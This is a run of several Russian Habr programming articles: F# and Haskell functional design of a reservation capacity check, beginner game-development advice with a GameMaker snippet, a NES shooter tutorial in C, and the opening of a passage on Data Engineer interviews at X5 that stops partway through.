Прием брони на F#, попытка первая
---------------------------------
В моем [Pluralsight-курсе Test-Driven Development with F#](https://www.pluralsight.com/courses/fsharp-test-driven-development?utm_medium=affiliate&utm_source=1017843) (доступна сокращенная бесплатная версия: <http://www.infoq.com/presentations/mock-fsharp-tdd>) я демонстрирую, как реализовать HTTP API для онлайн-системы бронирования ресторанов, который принимает заявки на резервирование. Один из шагов при обработке запроса на резервирование — проверить, достаточна ли свободных мест в ресторане для приема брони. Функция выглядит так:
```
// int
// -> (DateTimeOffset -> int)
// -> Reservation
// -> Result
let check capacity getReservedSeats reservation =
let reservedSeats = getReservedSeats reservation.Date
if capacity < reservation.Quantity + reservedSeats
then Failure CapacityExceeded
else Success reservation
```
Как следует из комментария, второй аргумент `getReservedSeats` — это функция типа `DateTimeOffset -> int`. Функция `check` вызывает ее, чтобы получить количество уже зарезервированных мест на запрошенную дату.
В ходе юнит-тестирования вы можете заменить чистую функцию заглушкой, например:
```
let getReservedSeats _ = 0
let actual = Capacity.check capacity getReservedSeats reservation
```
А во время итоговой сборки приложения вместо использования чистой функции с жестко фиксированным возвращаемым значением вы можете составить нечистую, которая запрашивает базу данных для получения требуемой информации:
```
let imp =
Validate.reservation
>> bind (Capacity.check 10 (SqlGateway.getReservedSeats connectionString))
>> map (SqlGateway.saveReservation connectionString)
```
Здесь `SqlGateway.getReservedSeats connectionString` — частично применяемая функция, тип которой — `DateTimeOffset -> int`. В F# вы не можете сказать по типу, что она нечистая, но я знаю, что это так, потому что я написал эту функцию. Функция запрашивает базу данных, поэтому не является ссылочно чистой.
Все это хорошо работает в F#, где от вас зависит, будет ли конкретная функция чистой или нечистой. Поскольку `imp` состоит из [Composition root](http://blog.ploeh.dk/2011/07/28/CompositionRoot/) этого приложения, нечистые функции `SqlGateway.getReservedSeats` и `SqlGateway.saveReservation` появляются только на границе системы. Остальная часть системы хорошо защищена от побочных эффектов.
Это выглядит функциональным, но так ли это на самом деле?
Фидбэк от Haskell
-----------------
Чтобы ответить на этот вопрос, я решил переделать основную часть приложения на Haskell. Моя первая попытка проверить свободные места была напрямую переведена следующим образом:
```
checkCapacity :: Int
-> (ZonedTime -> Int)
-> Reservation
-> Either Error Reservation
checkCapacity capacity getReservedSeats reservation =
let reservedSeats = getReservedSeats $ date reservation
in if capacity < quantity reservation + reservedSeats
then Left CapacityExceeded
else Right reservation
```
Это компилируется и на первый взгляд кажется многообещающим. Тип функции `getReservedSeats` — `ZonedTime -> Int`. Поскольку `IO` нигде в этом типе не появляется, Haskell гарантирует, что он чистый.
С другой стороны, когда вам нужно реализовать функцию для извлечения количества зарезервированных мест из базы данных, она по своей природе должна будет стать нечистой, поскольку возвращаемое значение может меняться. Чтобы включить это в Haskell, функция должна иметь такой тип:
```
getReservedSeatsFromDB :: ConnectionString -> ZonedTime -> IO Int
```
Хотя вы можете частично применить первый аргумент `ConnectionString`, возвращаемое значение будет `IO Int`, а не `Int`.
Функция типа `ZonedTime -> IO Int` — это не то же самое, что `ZonedTime -> Int`. Даже при выполнении внутри IO-контекста вы не можете преобразовать `ZonedTime -> IO Int` в `ZonedTime -> Int`.
С другой стороны, вы можете вызвать нечистую функцию внутри IO-контекста и извлечь `Int` из `IO Int`. Это не совсем соответствует приведенной выше функции `checkCapacity`, поэтому нужно будет пересмотреть ее дизайн. Хотя код на F# выглядел «достаточно функционально», оказывается, этот дизайн не является действительно функциональным.
Если вы внимательно посмотрите на приведенную выше функцию `checkCapacity`, то можете задаться вопросом, почему необходимо передавать функцию, чтобы определить количество зарезервированных мест. Почему бы просто не просто передать это число?
```
checkCapacity :: Int -> Int -> Reservation -> Either Error Reservation
checkCapacity capacity reservedSeats reservation =
if capacity < quantity reservation + reservedSeats
then Left CapacityExceeded
else Right reservation
```
Так намного проще. На границе системы приложение выполняется в IO-контексте, позволяя создавать чистые и нечистые функции:
```
import Control.Monad.Trans (liftIO)
import Control.Monad.Trans.Either (EitherT(..), hoistEither)
postReservation :: ReservationRendition -> IO (HttpResult ())
postReservation candidate = fmap toHttpResult $ runEitherT $ do
r <- hoistEither $ validateReservation candidate
i <- liftIO $ getReservedSeatsFromDB connStr $ date r
hoistEither $ checkCapacity 10 i r
>>= liftIO . saveReservation connStr
```
(полный исходный код доступен здесь: <https://gist.github.com/ploeh/c999e2ae2248bd44d775>)
Не беспокойтесь, если вы не понимаете всех деталей этой композиции. Основные моменты я описал ниже:
Функция `postReservation` получает на вход `ReservationRendition` (считайте это документом JSON) и возвращает `IO (HttpResult ())`. `IO` информирует вас о том, что вся эта функция выполняется в IO-монаде. Другими словами, функция нечистая. Это не удивительно, поскольку речь идет о границе системы.
Кроме того, обратите внимание, что функция `liftIO` вызывается дважды. Вам не нужно в деталях понимать, что она делает, но она необходима, чтобы «вытащить» значение из IO-типа; т.е., например, вытащить `Int` из `IO Int`. Таким образом, становится ясно, где чистый код, а где — нет: функция `liftIO` применяется к `getReservedSeatsFromDB` и `saveReservation`. Это говорит о том, что эти две функции нечистые. Методом исключения остальные функции (`validateReservation`, `checkCapacity` и `toHttpResult`) являются чистыми.
Также возникает вопрос, как можно чередовать чистые и нечистые функции. Если вы присмотритесь, увидите, как данные передаются из чистой функции `validateReservation`, в нечистую функцию `getReservedSeatsFromDB`, а затем оба возвращаемых значения (`r` и `i`) передаются в чистую функцию `checkCapacity` и, наконец, в нечистую функцию сохранения saveReservation. Все это происходит в блоке `(EitherT Error IO) () do`, поэтому, если какая-либо из этих функций возвращает `Left`, функция замыкается и выдает итоговую ошибку. Для ясного и наглядного введения в монады типа Either смотрите отличную статью Скотта Улашина (Scott Wlaschin) «[Railway oriented programming](http://fsharpforfunandprofit.com/posts/recipe-part2/)» (EN).
Значение из этого выражения получается с помощью встроенной функции `runEitherT`; и снова с этой чистой функцией:
```
toHttpResult :: Either Error () -> HttpResult ()
toHttpResult (Left (ValidationError msg)) = BadRequest msg
toHttpResult (Left CapacityExceeded) = StatusCode Forbidden
toHttpResult (Right ()) = OK ()
```
Вся функция `postReservation` нечистая и находится на границе системы, поскольку она обрабатывает IO. То же самое относится к функциям `getReservedSeatsFromDB` и `saveReservation`. Я намеренно помещаю две функции для работы с базой данных внизу диаграммы ниже, чтобы она казалась более знакомой читателям, привыкшим к многоуровневым архитектурным диаграммам. Вы можете себе представить, что под кругами есть цилиндрические объекты, представляющие базы данных.
Вы можете рассматривать функции `validateReservation` и `toHttpResult` как принадлежащие модели приложения. Они являются чистыми и осуществляют перевод между внешним и внутренним представлением данных. Наконец, если хотите, функция `checkCapacity` является частью доменной модели приложения.
Большая часть дизайна моей первой попытки на F# сохранилась, кроме функции `Capacity.check`. Повторная реализация дизайна в Haskell преподала мне важный урок, который я могу теперь применить к своему коду на F#.
Прием брони на F#, еще более функционально
------------------------------------------
Требуемые изменения малы, так что урок, полученный от Haskell, легко применить к коду на базе F#. Главным виновником была функция `Capacity.check`, которая должна быть реализована следующим образом:
```
let check capacity reservedSeats reservation =
if capacity < reservation.Quantity + reservedSeats
then Failure CapacityExceeded
else Success reservation
```
Это не только упрощает реализацию, но и делает композицию немного более привлекательной:
```
let imp =
Validate.reservation
>> map (fun r ->
SqlGateway.getReservedSeats connectionString r.Date, r)
>> bind (fun (i, r) -> Capacity.check 10 i r)
>> map (SqlGateway.saveReservation connectionString)
```
Это выглядит чуть более сложным, чем функция Haskell. Преимущество Haskell заключается в том, что вы можете автоматически использовать любой тип, реализующий класс `Monad` внутри блока `do`, и поскольку `(EitherT Error IO) ()` является экземпляром `Monad`, синтаксис `do` бесплатен.
Вы можете сделать нечто подобное в F#, но тогда вам придется реализовать собственный конструктор вычислительных выражений для типа Result. Я описал это в [своем блоге](http://blog.ploeh.dk/2016/03/21/composition-with-an-either-computation-expression/).
Резюме
------
Хороший функциональный дизайн эквивалентен архитектуре «портов и адаптеров». Если вы используете Haskell в качестве критерия «идеальной» функциональной архитектуры, вы увидите, как ее явное различие между чистыми и нечистыми функциями создает так называемую «яму успеха». Если вы не напишете все свое приложение внутри IO-монады, Haskell автоматически отразит различие и вытолкнет всю связь с внешним миром на границы системы.
Некоторые функциональные языки, такие как F#, не используют это различие явно. Тем не менее, в F# легко неофициально реализовать его и строить приложения с нечистыми функциями, размещенными у границ системы. Хотя это различие не навязывается системой типов, оно по-прежнему кажется естественным.
---
Если тема функционального программирования для вас актуальна как никогда, наверняка вас заинтересуют вот эти доклады с нашей двухдневной ноябрьской конференции [DotNext 2017 Moscow](https://dotnext-moscow.ru/):
* легкий, но затягивающий рассказ Николая Гусева [о функциональном программировании для C#](https://dotnext-moscow.ru/2017/msk/talks/2x8019akbcickyaumus8ka/)
* интересный доклад для практиков от специалиста по паттернам Mark Seeman «[From dependency injection to dependency rejection](https://dotnext-moscow.ru/2017/msk/talks/20wwzs2qeuuykg86cc6ams/)»
* практично-полезный рассказ Романа Неволина [о провайдерах типов:](https://dotnext-moscow.ru/2017/msk/talks/50ktyyngfsuoqeqmiykkw6/) как их использовать, какие проблемы они решают и как их написать
* и кейноут Андрея Акиньшинина о «[performance-тестировании](https://dotnext-moscow.ru/2017/msk/talks/6a4afxs2sqmwws0yuoc06s/)». | https://habr.com/ru/post/341460/ | null | ru | null |
# Пара советов для начинающих gamedeveloper'ов от начинающего gamedeveloper'а
Добрый день, хабровчане. Данная статья посвящается людям, которые только пытаются связать себя со сферой разработки игр или же просто думают об этом.
Будучи раздосадованным полным (почти) отсутствием каких-либо ресурсов с игровой тематикой, будь то youtube каналы или же блоги в соц. сетях, мне захотелось поделиться парой мыслей, которые я приобрел за столь короткое времяпрепровождение в сфере геймдева. Не поймите меня неправильно, информации по игровой сфере как таковой в русскоязычном сегменте интернета полным-полно, но довольно посредственного качества. С большим трудом можно найти те крупицы, которые натолкнут абсолютных новичков на какую-либо тропу, всё приходится приобретать в процессе, что довольно сложно. Данная статья призвана, пусть и немного, но всё же осветить путь геймдева для абсолютных новичков.
Возможно, для кого-то данные мысли не будут откровением, моё почтение. Вы могли бы также добавить в комментарии и свои мысли, я с интересом почитаю (всё-таки, я тоже начинающий).
Думаю, для тех, кто просто хотя бы задумывался о том, чтобы увязнуть в этой прекрасной индустрии, разработка игр представляет собой нечто загадочное, особенно для тех, кто ни разу не пересекался с программированием. Начнём с рассмотрения вопроса: что из себя представляет создание игры? Кратко: 10-20% времени — разработка механики (написание кода), остальное – создание контента. Под созданием контента подразумевается визуальный и музыкальный аспекты игры, также создание уровней, продумывание сюжета (это, конечно же, индивидуально) и т.п. То есть игра – это не столько написание кода, сколько сама идея, которую вы вкладываете в своё детище. Отсюда исходит одна из ключевых мыслей: код – второстепенное. Без сомнения, он является неотъемлемой частью разработки игры, но каким бы хорошим он ни был, безыдейная игра — не более чем пустышка.
Немножко вспомогательной теории (только для тех, кто в принципе «не в теме»):
Как заставить двигаться квадратик на экране? Ваш экран – это координатная плоскость (вспоминаем школу), горизонталь – ось Ох, вертикаль – ось Оу. Квадратик имеет свои координаты, соответствующие его позиции на экране, допустим (4, 2) (х = 4, у = 2). Формально, двигать квадрат – просто изменять его координаты. Чтобы двигать его вверх(вниз), нам необходимо прибавлять(отнимать) какое-то число при нажатии соответствующей клавиши, которое назовём вертикальной скоростью передвижения, к его второй координате, то есть у. Таким образом мы будем поднимать и опускать квадрат. С горизонтальным передвижением всё аналогично, прибавляем(отнимаем) некоторое число при нажатии соответствующей клавиши, которое назовём горизонтальной скоростью, к первой координате, то есть х. Поздравляю, вы двигаете квадратик по экрану! Всё довольно просто. Но при создании более сложных вещей вам, соответственно, понадобятся более продвинутые знания математики.
Попытаюсь ответить на довольно популярный вопрос: какой игровой движок стоит выбрать? И одновременно свяжу это с первым советом:
* **определитесь с игровой нишей, в которой хотите работать**
В это предложение я вкладываю довольно широкий смысл. Но для начала стоит определиться с технологической составляющей вашей игры: 2D или 3D? Ответив на этот довольно простой вопрос, вы резко упростите себе жизнь с выбором вектора игровой разработки. Лично я тяготею к разработке 2D игр в стиле пиксель арт, посему в качестве движка я выбрал Game Maker Studio 2. На мой взгляд, это лучший представитель для разработки 2D игр. В качестве движка для 3D проектов я могу посоветовать всем уже известный Unity. Думаю, эта пара идеально подходит для начинающих разработчиков, поскольку они просты в освоении относительно других своих собратьев и одновременно располагают мощнейшим инструментарием для разработки соответствующих им игр.
Почему именно этому я придал такое внимание, а не, например, жанру? Здесь я плавно веду ко второму совету:
* **создавайте то, что можете создать, а не то, что хотелось бы**
На данном этапе вы подобны ученику младших классов, который стремится найти корни некоторого квадратного уравнения, но при этом вы не умеете даже приводить дроби к общему знаменателю. Стремление достойно похвалы, но в данный момент вам необходимо разобраться с жизненно важными основами. Копируйте несложные игрушки, экспериментируйте, банально «набивайте руку». Любая собранная вами игра, какой бы она ни была, — это ценнейший опыт для вас. Заставить двигаться квадратик на экране – уже хорошо. Старайтесь постоянно лепить что-то самостоятельно, параллельно приобретая новые навыки. Не пытайтесь с самого начала впитать в себя максимум теории, а после приступить к делу – начинайте прямо сейчас. Впитав в себя тонну информации, вы, скорее всего, не будете знать, что с ней делать и с чего стоит начать (я уже испытал на себе подобное). Голая информация, не закрепленная практикой, ничего из себя не представляет. Всего понемногу, и спустя непродолжительный промежуток времени вы будете чувствовать себя как рыба в воде. В какой-то момент с пониманием процесса разработки игр к вам придёт понимание того, какую именно игру вы хотели бы создать. Именно этот момент будет отправной точкой, поскольку ваша деятельность будет уже осознанной, а не простой поступью в кромешной тьме.
Небольшая ремарка по поводу кода — учитесь писать код (неожиданно, не правда ли?). Не стоит пугаться и представлять себе, что написание кода подобно магии, требует особых навыков и тому подобное — нет. Вот пример кода Game Maker Language:
```
///@param direction
var _direction = argument0;
//Записываем переданное значение
direction_facing_ = round(_direction/90);
//Делим на 90 и округляем при помощи функции round()
//Пример: round(4.5) равносильно 5, round(4.45) равносильно 4.
if(direction_facing_ == 4) {
//Небольшая проверка на корректность значения
direction_facing_ = 0;
}
```
Примерно так выглядит код одного из скриптов в моём проекте. Попытаемся разобраться, что тут происходит. Данный скрипт определяет направление «взгляда» объекта в игре(равносильно тому, как вы смотрите направо или налево). В качестве аргумента он принимает градусную меру «направления взгляда» и записывает её в локальную переменную \_direction. После мы делим — таким образом мы фрагментируем воображаемую тригонометрическую окружность на четыре кусочка — четыре направления — записанное значение на 90 (градусов), округляем (функция round()) и записываем в переменную direction\_facing\_. Каждому из направлений соответствует своё число: 0 — право, 1 — верх, 2 — лево, 3 — низ. Может быть такая ситуация, что угол будет больше 215 градусов, из-за чего в direction\_facing\_ запишется число 4, но нас такая ситуация не устраивает, поскольку 4 в нашем случае равносильно 0.
Решаем данную проблему при помощи оператора if: если direction\_facing\_ равно 4, то записываем в него 0. Готово! Капля математики и небольшая доля кода, никакой магии. Для чего это? Данный код полезен для того, что понимать, какую именно анимацию отрисовывать во время движения (бег вправо, бег вверх и тому подобное).
Примитивно, но полезно. Для абсолютных новичков написание кода поначалу будет довольно трудным занятием, но лишь поначалу. Практика — ваш лучший друг. Спустя непродолжительный промежуток времени вы уже без труда будете сочинять свой код, главное просто начать.
«Плавно» переходим к следующей рекомендации — капелька кэпа:
* **занимайтесь регулярно**
Это действительно простая истина, но многие ей всё же пренебрегают. Под словом «регулярно» не подразумевается «каждый день», но временные рамки всё-таки стоит установить. Занимайтесь разработкой хотя бы несколько часов в неделю. Создавая игру в одиночку, вам придётся держать огромное количество вещей в голове. Вернувшись к своему проекту через продолжительный промежуток времени, вспомнить все детали крайне трудно, что будет сильно вредить процессу. Во всяком случае, вам необходимо держать себя в «тонусе», дабы был какой-то прогресс. Но не забывайте и об отдыхе. Если вы всё своё время будете посвящать именно геймдеву, то скорее всего просто перегорите и уже вряд ли будете заниматься этим с таким же энтузиазмом, как и ранее. Я, например, дабы отвлечься, рисую картинки в стиле пиксель арт, довольно увлекательное занятие и одновременно полезное (ниже один из примеров моего творчества).
У многих возникнет резонный вопрос: где брать нужный материал для этого дела? Как начать обучаться? Самый просто ответ – гайды на youtube, коих бесчисленное множество. И это всё? В общем плане – да, но отчасти. Спустя некоторое время, когда вы минимально освоите выбранную вами среду разработки, нужда в прямых наставлениях отпадёт, поскольку вы уже будете в состоянии корректно сформулировать интересующий вас вопрос (тут то гугл и форумы станут вашими родными братьями). Естественно, голой технической информации будет недостаточно, дабы наиболее полно осознавать процесс и уже без труда ориентироваться в сфере геймдева. Посему следующая рекомендация:
* **читайте материал по теме, очень много материала (почти всё)**
Читайте истории разработки, следите за начинающими разработчиками, читайте блоги, статьи по игровой теме и т.п. Сейчас я сделаю одну крайне полезную ремарку — используйте англоязычные ресурсы. Информация из англоязычных источников на порядок качественнее русских аналогов. Во всяком случае, её можно без труда найти, в отличие от русскоязычного сегмента интернета. Лично я пользуюсь тонной youtube каналов, посвященных разработке игр. Ребята рассказывают, как создать ту или иную вещь, делятся опытом, в общем, ящик Пандоры для нас. Возможно вы будете не согласны со мной по поводу качества и количества игрового (конкретно разработка) контента в «русском интернете» — прошу в комментарии с ссылками на соответствующую тематику, это будет крайне полезно для всех. В конце статьи я оставлю небольшой перечень ресурсов, которыми я пользуюсь в данный момент.
И, наконец, последнее:
* **не отступайтесь**
Я говорю это таким же мечтателям (в хорошем смысле), как и я. Людям, которые хотят в будущем связать свою жизнь со сферой разработки игр. С самого начала будет довольно сложно, непонятно, но это более чем нормально. Просто делайте, и результат не заставит себя ждать.
Надеюсь, данная статья была полезна для вас. Возможно, вам также есть что-либо добавить, жду вас в комментариях.
Полезные ссылки для моих коллег:
* [Extra Credits](https://www.youtube.com/channel/UCCODtTcd5M1JavPCOr_Uydg)
* [HeartBeast — англоязычные туториалы по Game Maker Studio.](https://www.youtube.com/channel/UCrHQNOyU1q6BFEfkNq2CYMA)
* [Shaun Spalding — англоязычные туториалы по Game Maker Studio.](https://www.youtube.com/user/999Greyfox/videos)
* [Гоша Дударь — русскоязычные туториалы по Game Maker Studio.](https://www.youtube.com/channel/UCvuY904el7JvBlPbdqbfguw)
* [Game Dev Underground](https://www.youtube.com/channel/UC_hwKJdF3KRAy4QIaiCSMgQ)
* [Infernal Game Maker — паблик, посвященный движку Game Maker.](https://vk.com/game_maker)
* [Вики по Game Maker.](http://gmakers.xyz/wiki/index.php?title=%D0%97%D0%B0%D0%B3%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86%D0%B0)
* [Neil F. — пример начинающего разработчика.](https://www.youtube.com/channel/UCf9Pysy36XyrVfRrpl2wTig)
* [ThinMatrix — еще один пример начинающего разработчика.](https://www.youtube.com/user/ThinMatrix)
Также советую подписаться на твиттер некоторых из ребят, там есть много интересного и полезного. | https://habr.com/ru/post/350702/ | null | ru | null |
# Разработка игр под NES на C. Главы 17-21. Своя игра
В этой части соберем все вместе и сделаем простую скроллерную стрелялку на космическую тему: корабль летит и лазерами отстреливает врагов
[<<< предыдущая](https://habrahabr.ru/post/349742/) [следующая >>>](https://habrahabr.ru/post/351034/)
[](https://habrahabr.ru/post/350426/)
[Источник](http://www.dailymail.co.uk/sciencetech/article-4060104/The-birth-gaming-legend-Nintendo-releases-original-drawings-used-create-Zelda.html)
#### Планирование
Нам нужно реализовать такие режимы работы игры:
* Заставка
* Игровой режим
* Режим паузы
* Экран проигрыша
* Битва с боссом
* Экран победы
Код нужно организовать примерно так:
1. Инициализация
2. Отрисовка заставки
3. Оживление заставки:
* Ожидание кнопки Старт
* Фоновая музыка
4. Отрисовка игрового экрана
5. Игровой цикл:
* Получение события джойстика
* Движение корабля
* Появление врагов
* Движение врагов и снарядов
* Обработка коллизий
* Фоновая музыка
6. Если закончились жизни, то показать экран проигрыша
* Опять музыка
* Возврат к заставке
7. Если игра пройдена, то перейти к битве с боссом
8. При победе:
* Показать экран победы
* И опять включить соответствующую музыку
И еще надо нарисовать всю нужную графику и написать музыку.
Начнем с экрана заставки, потом сделаем игровой экран. Для показа жизней и очков используем Спрайт 0. Прокрутка будет вертикальная. Вот макет:
Кое-что из текстов тоже будет реализовано спрайтами, например "Пауза" и "Конец игры". Это упростит разработку.
#### Пишем код
Первый логически связный кусок игры — заставка, игровой экран и экран паузы. Переход между ними будет по кнопке Старт.
Заставку проще всего нарисовать в Фотошопе. Arial Black хорошо смотрится в названии игры, особенно после добавления небольшой перспективы и пары фильтров. Сжимаем до 128 пикселей в ширину, 4 цвета, и переносим в YY-CHR.
Корабль и звезды для фона можно делать сразу в YY-CHR. Звезды набросаем рандомно, а NES Screen Tool отлично упакует их в RLE .h файл. Текст сохраняем в таблицы имен.
Сразу же можно сделать и экран победы, временно повесив его на Селект. Музыку тоже импортирую на этом этапе, эффекты можно переключать стрелками. Потом все это удалю. Вообще, более правильно добавлять музыку в самом конце — один и тот же трек во время отладки очень быстро начинает раздражать.
Теперь можно реализовать корабль и логику его движения стрелками. Он продолжает двигаться с небольшой инерцией несколько кадров после отпускания кнопки — легкий намек на законы движения в космосе. В принципе, это можно будет отключить по итогам тестов.
Дальше идет счетчик очков, обновляемый каждый кадр. Он сделан в другой таблице имен, их подмена в середине кадра реализована через нулевой спрайт. Эта техника подробно описана в [одной из статей](https://habrahabr.ru/post/349376/).
**Фон со звездами**
```
Vert_scroll2 = ((Vert_scroll & 0xF8) << 2);
Sprite_Zero(); // ждем коллизии нулевого спрайта
PPU_ADDRESS = 0;
SCROLL = Vert_scroll;
SCROLL = 0;
PPU_ADDRESS = Vert_scroll2;
```
Тут возникли затруднения: через несколько секунд все разъезжалось. В отладчике FCEUX можно поставить брейкпоинты на запись в регистры, поставил их на регистры управления прокруткой — $2000, $2005, $2006. Значения записывались правильные, но установка верхней координаты экрана должна быть в V-blank, а в реальности получалась на 40-й строке. Это получилось из-за музыки, процедуры которой не поместились в V-blank. Переставил их в самый конец очереди, все стало работать нормально.
Теперь можно заняться разными режимами игры.
**main()**
```
void main (void){
while (1) { // бесконечный цикл
while (GameMode == TITLE_MODE){
// Заставка
}
while (GameMode == RUN_GAME_MODE){
// Игра
}
while (GameMode == PAUSE_MODE){
// Пауза
}
while (GameMode == GAME_OVER_MODE){
// Конец игры
}
while (GameMode == VICTORY_MODE){
// Победа
}
}
}
```
Спрайтовые объекты лучше реализовать структурами:
**struct ENEMY**
```
struct ENEMY {
unsigned char anime; // номер спрайта
unsigned char dir; // направление - если 0, то отзеркаливаем влево
unsigned char Y; // верх
unsigned char X; // левый край
unsigned char delay; // задержка начала движения
unsigned char type; // тип объекта
unsigned char move; // куда его двигать
unsigned char count; // насколько уже переместился
};
```
Враги будут набегать волнами, так что его тип будет устанавливаться перед ее началом.
[Дропбокс](http://dl.dropboxusercontent.com/s/vcnifnoooflgilq/spacy.zip)
[Гитхаб](https://github.com/BubaVV/nesdoug)
Отдельная структура для снарядов:
**struct BULLET**
```
struct BULLET {
unsigned char Y; // y = 0 - объект за экраном, и не отображается
unsigned char Y_sub;
unsigned char tile;
unsigned char attrib;
unsigned char X;
unsigned char X_sub;
unsigned char Y_speed; // в старшем полубайте скорость, в младшем - ускорение
unsigned char X_speed;
};
```
Спрайты надо реализовать чуть по другому — динамически отрисовывать их каждый кадр. Спрайты лежат в буфере OAM, адреса в памяти $200-$2FF, и сначала находятся за экраном — вертикальная координата больше 0xF0. Затем отрисовываю нулевой спрайт, а после этого уже каждый активный спрайт помещаю в буфер. Порядок размещения спрайтов в буфере меняется каждый кадр, так что спрайты мерцают.
Метаспрайты бОльшего размера надо подготовить в NES Screen Tool. Код из примера Shiru мне не понравился, пришлось переписать. В частности, когда метаспрайт выходит за границу экрана, он не появляется с противоположной стороны, а просто теряется из виду. Это не вяжется с логикой игры, хоть и работает быстрее. Кроме того, возникли затруднения с отражениями спрайтов. Пришлось писать скрипт на Пайтоне, который конвертирует готовые метаспрайты в формат, удобный для импорта в код. Это слегка ускорило процесс.
На этом этапе кнопка Вниз добавляет снаряды, Селект — добавляет врагов. Для некоторых из них работает отзеркаливание. Обработка коллизий переписана на Ассемблере и позволяет увеличить количество объектов.
[Дропбокс](http://dl.dropboxusercontent.com/s/fczfdpahrdgb7rl/spacy2.zip)
[Гитхаб](https://github.com/BubaVV/nesdoug)
А теперь надо переписать все еще раз. Обработка нулевого спрайта и управление прокруткой происходят в обработчике NMI. Каждый кадр происходят примерно такие действия:
1. Получение событий джойстика
2. Спрайты из буфера выносятся за экран, нулевой спрайт кладется на место
3. Если Master\_Delay обнуляется в этом кадре, то запускается волна врагов. Для копирования из ROM в RAM используется memcpy.
4. Все ли враги убиты? При смерти координата Y обнуляется
5. Есть ли попадания по нашему кораблю? Если да, то уменьшается счетчик жизней, и по соответствующему таймеру на несколько кадров рисуется взрыв вокруг корабля.
6. Если были нажаты стрелки, двигаем корабль
7. Есть ли попадания по врагам? Если да, то рисуем взрыв и обнуляем ему Y
8. Рендерим все спрайты — пишем их данные в OAM
9. Играем музыку. Этот этап можно перенести в NMI
10. Обновляем счетчик очков
11. Если надо, переходим в режим Паузы по кнопке Старт
12. Если счетчик жизней ушел в минус, переходим в Конец игры
Нужно придумать способ, как красиво разместить вражеские корабли в начале каждой волны. Появляются они тоже не одновременно. Каждый враг активен и двигается, пока по нему не попадут, или пока он не уйдет за экран. Когда все враги из волны исчезнут тем или иным способом, активируется таймер Master\_Delay, отсчитывающий кадры до следующей волны. Когда волны закончатся, начинается режим Босса.
У Босса есть список возможных ходов и хитпоинты, снимающиеся при попаданиях. Когда они обнулятся, включаются нехитрые звуковые эффекты и тряска экрана. После этого игра переходит в режим Победы. Из него можно начать заново, с сохранением жизней и очков.
Остальное предлагаю смотреть в коде игры. Используйте его как есть, или как основу для своего проекта. Спасибо за внимание!
[Дропбокс](http://dl.dropboxusercontent.com/s/70f89x9viu4r8mw/Spacy4.zip)
[Гитхаб](https://github.com/BubaVV/nesdoug)
#### Благодарности
Хочу поблагодарить всех, кто помогал мне изучить программирование для NES, особенно участников форума [forum.nesdev.com](http://forum.nesdev.com).
Очень много я почерпнул из примеров кода для cc65, которые написал Shiru. Кое-что из этих примеров использовано в этом туториале. Он же автор Famitone2 и NES Screen Tool. Его сайт с играми и примерами: [раз](https://shiru.untergrund.net/software.shtml) и [два](http://shiru.untergrund.net/articles/programming_nes_games_in_c.htm).
Две его игры продаются на [GreetingCarts](http://www.greetingcarts.com/) (Retroscribe) (сайт мертв — прим. перев.)
Хочу поблагодарить THEFOX за его помощь, когда я только начинал осваивать cc65. И за примеры, которые раньше были на его [сайте](https://www.fauxgame.com/).
Но поиграть в его игру, Streemerz, все равно можно.
Rainwarrior сделал демо Coltrane, и дал хороший [пример работы со звуком](http://www.rainwarrior.ca/music/coltrane_src.zip)
А еще у него есть [игра Lizard Game](http://lizardnes.com/).
Всем спасибо!
А мне теперь надо сделать то же самое, но для приставки SNES... | https://habr.com/ru/post/350426/ | null | ru | null |
# Собеседование на позицию Data Engineer в X5: чего ждать и как лучше подготовиться (часть 2)
В предыдущей [статье](https://habr.com/ru/company/X5Group/blog/572596/) мы поговорили про роль Data Engineer в Х5, какие задачи он решает и с каким технологическим стеком работает. Рассмотрели структуру собеседования, основные направления, по которым мы оцениваем кандидатов, и подробно разобрали базовые требования, предъявляемые нами к уровню владения Python.
В данной статье мы разберём требования к ключевым для Data Engineer в X5 навыкам: распределённые системы и вычисления на Hadoop / Spark, а также SQL и проектирование схемы данных.
Важно отметить, что здесь наши ожидания не ограничиваются базовыми знаниями и умением решать типовые задачи. Мы хотим видеть более глубокий уровень понимания и владения данными технологиями, способность решать сложные или нестандартные задачи.
В продуктовых командах работать с Hadoop, Spark и реляционными базами данных на базовом уровне умеют многие: Data Scientists, Data Analysts и Data Quality. Для этого прикладываем много усилий по обучению сотрудников: отправляем на обучение к внешним провайдерам, приглашаем внешних экспертов с лекциями, организуем мастер-классы, разрабатываем и преподаем специальные программы в рамках внутренней цифровой академии.
Таким образом, Data Engineer в Х5 — не тот человек, в которого сыплются все задачи, когда нужны данные, а тот, кого зовут для решения более сложных и нетривиальных технических задач, где базовых знаний соответствующих технологий уже не достаточно. По этим причинам мы на интервью смотрим, насколько глубоко кандидат разбирается в том, что происходит под капотом той или иной технологии. Без этих знаний он навряд ли сможет успешно справиться с нашими задачами.
Мы стараемся строить обсуждение вокруг открытых вопросов, и в ходе этой беседы спрашиваем по более узким темам. И если такое обсуждение с каждым шагом начинает затрагивать все более и более сложные темы, то это означает лишь одно: вы прекрасно справляетесь и каждое новое усложнение даёт вам дополнительные очки.
Приведу несколько примеров таких вопросов.
Откуда возникают проблемы и как их решать
-----------------------------------------
*Ваш коллега, начинающий Data Analyst, собирается построить новую витрину и попросил вас посмотреть код его скрипта на Spark. В коде есть фрагмент, где предполагается провести партиционирование по полю типа double с диапазоном возможных значений от нуля до миллиарда. Что вы на это скажете?*
Здесь мы хотим услышать не краткий ответ вида «Так делать нельзя» или «Норм, давай запустим», а более развёрнутый ответ, в котором можно проследить следующие рассуждения:
* Партиционирование по этому полю приведет к созданию потенциально огромного числа маленьких файлов в HDFS.
* Наличие сотен миллионов маленьких файлов может привести к проблемам всего Hadoop кластера.
* Проблема с кластером Hadoop может возникнуть из-за отказа NameNode.
* Отказ NameNode может произойти потому, что мета-информация о файловой системе хранится в оперативной памяти NameNode, и её объёма может просто не хватить.
Если далее вам предложили развить тему, например, в направлении того, как можно обеспечить высокую доступность NameNode и избавиться от единой точки отказа, то это означает, что вы отлично справляетесь, и есть смысл затронуть более сложные темы.
*К вам снова обратился за помощью ваш коллега, начинающий Data Analyst. В этот раз у него проблема с тем, что разработанный им алгоритм прекрасно работает на семплированных данных из большого датасета, но на всём огромном датасете возникает множество проблем. Какие возможные типовые проблемы вам приходят в голову?*
